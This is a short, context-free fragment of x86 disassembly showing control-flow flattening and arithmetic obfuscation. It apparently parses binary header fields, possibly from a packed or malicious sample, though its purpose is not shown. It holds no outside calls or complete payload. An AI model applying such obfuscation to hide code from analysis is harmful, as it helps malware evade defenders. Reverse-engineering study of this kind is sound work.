jmp 0x1000af70
mov dword [ebp - 0x118], 0x20c16e67
jmp 0x1000af70
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100181c8]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0x3d8fcfe3
jmp 0x1000af70
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100181c4]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0xc00188f0
jmp 0x1000af70
mov ecx, dword [ebp - 0x74]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0x18
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
sub ecx, 0x8ebaf07f
add ecx, eax
add ecx, 0x8ebaf07f
mov eax, dword [ebp - 0xc0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xbc]
mov dword [eax], 0
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0xb8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb4]
mov dword [eax], 0
mov dword [ebp - 0x118], 0x2561b737
jmp 0x1000af70
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x118], 0xa2b93f31
jmp 0x1000af70
jmp 0x10002b77